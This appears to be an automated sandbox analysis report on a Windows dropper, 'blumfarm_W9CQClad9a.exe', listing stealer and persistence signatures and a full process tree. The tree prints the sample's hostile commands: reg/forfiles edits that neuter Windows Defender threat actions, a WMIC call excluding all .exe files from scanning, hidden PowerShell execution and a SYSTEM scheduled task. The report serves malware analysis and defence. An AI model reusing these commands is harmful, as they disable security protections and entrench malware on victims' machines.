Overview

overview

10

Static

static

3

blumfarm_W...9a.exe

windows7-x64

10

blumfarm_W...9a.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/06/2024, 07:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    blumfarm_W9CQClad9a.exe
  • Size 6.3MB
  • Sample240604-js6wmsaf38
  • SHA256 d8946020d5d75b42ea3ee28fcb29ab44ca2e47b51d9256f92914bcb4ebc0de23
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
discoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 30 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • NSIS installer 2 IoCs
    installer
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\blumfarm_W9CQClad9a.exe
    "C:\Users\Admin\AppData\Local\Temp\blumfarm_W9CQClad9a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Users\Admin\AppData\Local\Temp\is-HJTFT.tmp\blumfarm_W9CQClad9a.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-HJTFT.tmp\blumfarm_W9CQClad9a.tmp" /SL5="$A011E,6306787,56832,C:\Users\Admin\AppData\Local\Temp\blumfarm_W9CQClad9a.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /Delete /F /TN "Any_Audio_Converter_641"
        3⤵
          PID:2512
        • C:\Users\Admin\AppData\Local\Any Audio Converter\anyaudioconverter.exe
          "C:\Users\Admin\AppData\Local\Any Audio Converter\anyaudioconverter.exe" d6afb6d616481ea4091be2704496f13f
          3⤵
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3328
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\0XJ00v4Q\H05KHHxvHv5uN7l.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4820
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\0XJ00v4Q\H05KHHxvHv5uN7l.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1720
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1832
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1868
          • C:\Users\Admin\AppData\Local\Temp\0XJ00v4Q\H05KHHxvHv5uN7l.exe
            C:\Users\Admin\AppData\Local\Temp\0XJ00v4Q\H05KHHxvHv5uN7l.exe /sid=3 /pid=449
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:4300
            • C:\Users\Admin\AppData\Local\Temp\setup.exe
              "C:\Users\Admin\AppData\Local\Temp\setup.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              PID:2120
              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies Control Panel
                PID:4204
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2840 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:2
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2476
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2996 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4788
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3152 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:8
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2988
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --first-renderer-process --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3612 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4648
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3632 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4764
                • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                  "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 LikeWise/96.6.6331.60" --user-data-dir="C:\Users\Admin\AppData\Local\CEF\User Data" --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3876 --field-trial-handle=2844,i,17983450640956571100,3813570629731445311,262144 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,DocumentPictureInPictureAPI /prefetch:1
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:1528
          • C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe
            C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2356
            • C:\Users\Admin\AppData\Local\Temp\is-90OLT.tmp\gyaEN8TbOJwrGT733QMe.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-90OLT.tmp\gyaEN8TbOJwrGT733QMe.tmp" /SL5="$302F0,5587402,54272,C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2668
              • C:\Users\Admin\AppData\Local\Free Audio Amplifier\freeaudioamplifier.exe
                "C:\Users\Admin\AppData\Local\Free Audio Amplifier\freeaudioamplifier.exe" -i
                6⤵
                • Executes dropped EXE
                PID:3716
              • C:\Users\Admin\AppData\Local\Free Audio Amplifier\freeaudioamplifier.exe
                "C:\Users\Admin\AppData\Local\Free Audio Amplifier\freeaudioamplifier.exe" -s
                6⤵
                • Executes dropped EXE
                PID:1648
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\VLYKPBrC\f517T.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3664
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\VLYKPBrC\f517T.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4220
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2876
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3356
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\B7S2XTru\amDgCKr6pqM3lwQ.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1640
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Unblock-File -Path C:\Users\Admin\AppData\Local\Temp\B7S2XTru\amDgCKr6pqM3lwQ.exe"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4496
          • C:\Users\Admin\AppData\Local\Temp\VLYKPBrC\f517T.exe
            C:\Users\Admin\AppData\Local\Temp\VLYKPBrC\f517T.exe --silent --allusers=0
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2700
            • C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe
              C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe --silent --allusers=0 --server-tracking-blob=MGZkMGQ3MTkyMmI5ODhhMzdhZjdjMTRhNmQ3MDBhY2UzN2I0MzA0MDU1YzZlOTJhYjAwMTQ4YzJmYWVhZGYyNDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInRpbWVzdGFtcCI6IjE3MTc0ODc4NzIuNTMyNyIsInVzZXJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMTguMC4wLjAgU2FmYXJpLzUzNy4zNiIsInV0bSI6eyJjYW1wYWlnbiI6Im9wMTMyIiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoiUlNUUCJ9LCJ1dWlkIjoiOWZkZjkxMjItNjQ2OC00N2E0LWE3ZjctOTgwNTYyNGZmMjc3In0=
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Enumerates connected drives
              • Modifies system certificate store
              • Suspicious use of WriteProcessMemory
              PID:3096
              • C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe
                C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=110.0.5130.64 --initial-client-data=0x320,0x324,0x328,0x2fc,0x32c,0x6e37f308,0x6e37f314,0x6e37f320
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1992
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2680
              • C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe
                "C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3096 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240604075802" --session-guid=90a6d9ec-5d0e-4d17-afb9-db6facd9dc4b --server-tracking-blob=MzVhODJmNzM0Y2ExODBhMWNiMTVlZjVhZGJkMzYyOGU5MDc3NDgxNjJlZDFjMTA1ZTU0YWExZjRhYTdhNDc4Nzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1SU1RQJnV0bV9jYW1wYWlnbj1vcDEzMiIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcxNzQ4Nzg3Mi41MzI3IiwidXNlcmFnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExOC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwidXRtIjp7ImNhbXBhaWduIjoib3AxMzIiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJSU1RQIn0sInV1aWQiOiI5ZmRmOTEyMi02NDY4LTQ3YTQtYTdmNy05ODA1NjI0ZmYyNzcifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=9405000000000000
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Enumerates connected drives
                PID:1536
                • C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe
                  C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=110.0.5130.64 --initial-client-data=0x31c,0x32c,0x330,0x2f8,0x334,0x6d6af308,0x6d6af314,0x6d6af320
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:316
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\Assistant_110.0.5130.23_Setup.exe_sfx.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\Assistant_110.0.5130.23_Setup.exe_sfx.exe"
                6⤵
                • Executes dropped EXE
                PID:4568
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\assistant_installer.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\assistant_installer.exe" --version
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2576
                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\assistant_installer.exe
                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=110.0.5130.23 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x6e30e8,0x6e30f4,0x6e3100
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4116
          • C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe
            C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe /did=757674 /S
            4⤵
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Enumerates system info in registry
            PID:3284
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
              5⤵
                PID:4432
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                  6⤵
                    PID:4776
                    • C:\Windows\SysWOW64\cmd.exe
                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                      7⤵
                        PID:3012
                        • \??\c:\windows\SysWOW64\reg.exe
                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                          8⤵
                            PID:1524
                      • C:\Windows\SysWOW64\forfiles.exe
                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                        6⤵
                          PID:4668
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                            7⤵
                              PID:548
                              • \??\c:\windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                8⤵
                                  PID:3764
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                              6⤵
                                PID:4364
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                  7⤵
                                    PID:4220
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                      8⤵
                                        PID:3028
                                  • C:\Windows\SysWOW64\forfiles.exe
                                    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                    6⤵
                                      PID:2980
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                        7⤵
                                          PID:2580
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                            8⤵
                                              PID:3040
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                          6⤵
                                            PID:4088
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                              7⤵
                                                PID:3720
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                  8⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3928
                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                    9⤵
                                                      PID:548
                                            • C:\Windows\SysWOW64\forfiles.exe
                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                              5⤵
                                                PID:1336
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                  6⤵
                                                    PID:5100
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                      7⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4680
                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                        8⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4496
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /CREATE /TN "bHuLlFiMfvTziUvwMD" /SC once /ST 07:59:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe\" qU /aebdidRxEQ 757674 /S" /V1 /F
                                                  5⤵
                                                  • Drops file in Windows directory
                                                  • Creates scheduled task(s)
                                                  PID:1276
                                                  • C:\Windows\System32\Conhost.exe
                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    6⤵
                                                      PID:2876
